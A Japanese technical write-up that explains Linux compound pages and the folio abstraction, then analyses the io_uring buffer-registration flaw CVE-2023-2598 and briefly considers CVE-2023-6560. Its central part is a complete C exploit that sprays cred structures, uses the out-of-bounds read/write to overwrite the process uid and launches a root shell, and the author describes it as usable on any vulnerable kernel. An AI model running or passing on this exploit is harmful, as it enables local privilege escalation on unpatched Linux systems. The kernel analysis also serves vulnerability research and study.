CVE-2023-2598を通じてLinuxのCompound Pageとfolioメカニズムを理解し、その後1dayのCVE-2023-6560を利用できるか検討する。
メモリは増え続けているが、Linuxの基本ページ割り当て単位は4Kのままであり、不足が生じている。そのため、複合ページ（Compound Page）が導入された。複合ページとは、複数のページを1つの集合として扱い、2つ以上の物理的に連続したページを1つのユニットに結合するもので、多くの場面で1つの大きなページと見なすことができる。これらは主にhugetlbfsやTransparent Huge Pages（THP）サブシステムで巨大ページを作成するために使用されるが、他のシナリオでも出現する。複合ページは匿名メモリやカーネル内のバッファとして使用できるが、ページキャッシュには出現できない。ページキャッシュは単一ページのみを扱う。
複合ページの割り当ては、alloc_pages()を呼び出し、__GFP_COMPフラグとページフレーム数が1より大きい（つまりorderが1以上）を設定することで行う。これは複合ページの実装メカニズムによるものである。
注意：複合ページは必ず物理的に連続している
最初のページのflagはPG_headがマークされ、これが複合ページのヘッドページであることを示す。
それ以降のすべてのページには、mappingとcompound_headの2つの属性が設定され、compound_headを介してテールページかヘッドページかを判断する。詳細はcompound_head()関数を参照。
2番目のページには複合ページに関するより多くの情報が格納される。これが複合ページのorderが少なくとも1である理由である。
static inline unsigned long _compound_head(const struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);
if (unlikely(head & 1))
return head - 1;
return (unsigned long)page;
}
このフィールドはフラグだけでなく、ヘッドページへのポインタも含んでいる。
したがって、pageを取得したときに、それが複合ページかどうか、複合ページであればヘッドページかテールページかを容易に判断できる。しかし、複合ページのサイズという重要な情報が欠けている。このサイズが分からないと、複合ページを解放するときにサイズを知る必要がある。これらの情報はすべて最初のテールページのlruフィールドに格納されている。複合ページのサイズ（order）をまずポインタ型にキャストし、lru.prevに格納し、デストラクタをlru.nextに格納する。
ヘッドページと複合ページのサイズが分かれば、この巨大ページを正しく解放できる。なぜなら複合ページはすべて物理的に連続しているからである。
構造は以下の図の通りである。
folioはページのラッパーと見なすことができ、オーバーヘッドはない。folioは単一ページでも複合ページでもよい。
上図はpage構造体の模式図であり、64バイトでflags, lru, mapping, index, private, {ref_, map_}count, memcg_dataなどを管理する。pageが複合ページの場合、上記のflagsなどの情報はヘッドページにあり、テールページはcompound_{head, mapcount, order, nr, dtor}などの管理に再利用される。
struct folio {
/* private: don't document the anon union */
union {
struct {
/* public: */
unsigned long flags;
struct list_head lru;
struct address_space *mapping;
pgoff_t index;
void *private;
atomic_t _mapcount;
atomic_t _refcount;
#ifdef CONFIG_MEMCG
unsigned long memcg_data;
#endif
/* private: the union with struct page is transitional */
};
struct page page;
};
};
folio構造体の定義では、flags, lruなどの情報はpageと完全に一致するため、pageとunionで共用できる。これにより、folio->page->flagsではなく、直接folio->flagsを使用できる。
#define page_folio(p) (_Generic((p), \
const struct page *: (const struct folio *)_compound_head(p), \
struct page *: (struct folio *)_compound_head(p)))
#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n) nth_page(&(folio)->page, n)
最初にpage_folioを見ると混乱するかもしれないが、実質的には以下と同等である：
switch (typeof(p)) {
case const struct page *:
return (const struct folio *)_compound_head(p);
case struct page *:
return (struct folio *)_compound_head(p)));
}
page_folioマクロから分かるように、folioは実質的に複合ページのヘッドページである。folioをpageに変換する場合、folio->pageでヘッドページを取得し、folio_page(folio, n)でテールページを取得できる。
ではfolioは何のためにあるのか？ 主に開発効率とパフォーマンスのためである。folioがない場合、関数内部で現在のページがヘッドページかどうかを判断できず、_compound_headを呼び出す必要がある。実行パスが多い場合、パス上のすべての関数で毎回_compound_headを使用すると効率に影響する。しかし、関数がstruct folio *パラメータのみを受け取る場合、そのfolioはヘッドページを指すため、関数内部で_compound_headを再度呼び出す必要がなくなる。
したがって、主に以下の3つの役割がある：
冗長なcompound_head呼び出しを減らす。
開発者へのヒント：folioを見れば、それがヘッドページであると認識できる。
潜在的なテールページによるバグを修正する。
io_uringのio_uring_register_bufferには、以下のようなロジックがある。
ユーザー空間から渡されたページが1より大きい場合、io_uringは渡されたbufferがfolioかどうかをチェックする。判断方法は、page_folio()を使用してそのpage[i]のヘッドページを取得し、page[i]のヘッドページがpage[0]と等しい場合、同じ複合ページテーブルに属すると見なす。
通常、この処理は問題ないが、特殊なケースが存在する。ユーザー空間でmmapを使用して同じ物理ページテーブルを連続した仮想アドレスにマッピングした場合、この条件も満たされ、最終的に以下のブランチに入る。
この時、ユーザー空間は1つの物理ページのみを要求しているが、最終的なsizeは連続仮想アドレスのサイズとなり、実際に要求した物理アドレス領域よりも大きくなる可能性がある。その結果、範囲外の読み書きが発生する。
credをスプレーし、この範囲外読み書きインターフェースを使用してuidを書き換える。
ネット上のエクスプロイトと異なり、このエクスプロイトはuidを書き換えるため、アドレス依存性がなく、脆弱性が存在する環境であれば使用可能である。
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>
#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600
#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)
int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
"\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
.tv_sec = 1145141919,
.tv_nsec = 0,
};
void err_exit(char *buf){
fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
exit(-1);
}
void log(char *buf){
fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
for(int i=0;i<CRED_DRAIN;i++){
int ret=fork();
if(!ret){
read(check_root_pipe[0],child_pipe_buf,1);
if(getuid()==0){
write(1, root_str, 71);
system("/bin/sh");
}
sleep(100000000);
}
check_ret(ret,"fork fail");
}
}
void clear_buddy(){
void * pages[MAX_PAGES];
for(int i=0;i<MAX_PAGES;i++){
pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
check_ret(pages[i],"mmap");
}
for(int i=0;i<MAX_PAGES;i++){
*(char *)pages[i]='a';
}
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* for syscall, it's clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi\n" /* save the rsi*/
" xor rsi, rsi\n" /* set esp and useless args to NULL */
" xor rdx, rdx\n"
" xor r10, r10\n"
" xor r8, r8\n"
" xor r9, r9\n"
" mov rax, 56\n" /* __NR_clone */
" syscall\n"
" cmp rax, 0\n"
" je child_fn\n"
" ret\n" /* parent */
"child_fn: \n"
" jmp r15\n" /* child */
);
}
int waiting_for_root_fn(void *args)
{
/* we're using the same stack for them, so we need to avoid cracking it.. */
__asm__ volatile (
" lea rax, [check_root_pipe]\n"
" xor rdi, rdi\n"
" mov edi, dword ptr [rax]\n"
" mov rsi, child_pipe_buf\n"
" mov rdx, 1\n"
" xor rax, rax\n" /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" syscall\n"
" mov rax, 102\n" /* getuid() */
" syscall\n"
" cmp rax, 0\n"
" jne failed\n"
" mov rdi, 1\n"
" lea rsi, [root_str]\n"
" mov rdx, 80\n"
" mov rax, 1\n" /* write(1, root_str, 71) */
" syscall\n"
" lea rdi, [bin_sh_str]\n"
" lea rsi, [shell_args]\n"
" xor rdx, rdx\n"
" mov rax, 59\n"
" syscall\n" /* execve("/bin/sh", args, NULL) */
"failed: \n"
" lea rdi, [timer]\n"
" xor rsi, rsi\n"
" mov rax, 35\n" /* nanosleep() */
" syscall\n"
);
return 0;
}
int main(){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(sched_getcpu(), &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
exit(EXIT_FAILURE);
}
struct io_uring ring;
struct io_uring_sqe *sqe;
struct io_uring_cqe *cqe;
int ret;
int memfd;
int rw_fd;
struct iovec iovec;
char *rw_buffer;
uint64_t start_addr=0x800000000;
int nr_pages=500;
char buf[1000];
//清空cred cache
log("drain cred cache");
pipe(check_root_pipe);
cred_drain();
//清空buddy system cache
log("clear buddy system cache");
clear_buddy();
//初始化io_uring
log("io_uring_setup");
ret=io_uring_queue_init(8,&ring,0);
check_ret(ret,"io_uring_setup fail");
//准备缓冲区
log("prepare buf to register");
memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
check_ret(memfd,"memfd_create fail");
rw_fd=memfd_create("read_write_file",MFD_CLOEXEC);
check_ret(rw_fd,"memfd_create fail");
check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
for(int i=0;i<nr_pages;i++){
check_ret(mmap(start_addr+i*0x1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED,memfd,0),"mmap fail");
}
rw_buffer=mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,rw_fd,0);
check_ret(rw_buffer,"mmap fail");
//注册缓冲区
log("register buffer");
iovec.iov_base=start_addr;
iovec.iov_len=nr_pages*PAGE_SIZE;
check_ret(io_uring_register_buffers(&ring,&iovec,1),"io_ring_register_buffer fail");
//spray cred
log("spray cred");
for(int i=0;i<CRED_SPRAY;i++){
check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn),"clone fail");
}
//search cred page
log("search crea page");
int page_offset=0;
for(int i=0;i<nr_pages;i++){
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_write_fixed(sqe,rw_fd,start_addr+i*PAGE_SIZE,PAGE_SIZE,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
int uid=((int *)(rw_buffer))[1];
int gid=((int *)(rw_buffer))[2];
if(uid==1000 && gid==1000){
page_offset=i;
break;
}
}
if(page_offset==0){
err_exit("not find cred page");
}
//edit cred's uid
log("/edit cred's uid");
*(size_t *)(rw_buffer)=0x2;
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_read_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,8,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_write_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,PAGE_SIZE,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
//check privilege in child processes
log("check privilege in child processes");
write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
sleep(100000000);
}
次のコードに注目する。
もし実際に複合ページを渡して登録した場合、io_uringは後続のページに対して参照カウントを増加させない。ユーザー空間がこの複合ページの途中でマッピングを解除すると、対応するメモリ領域は参照カウントが1しかないため完全に解放されるが、io_uringに記録されたsizeは変わらない。そのため、io_uringを通じて範囲外の読み書きが可能になる。残念ながら、私のテストではLinuxは複合ページの途中からのマッピング解除を許可していない。しかし、これは合理的であり、許可されるとページ管理が非常に困難になる。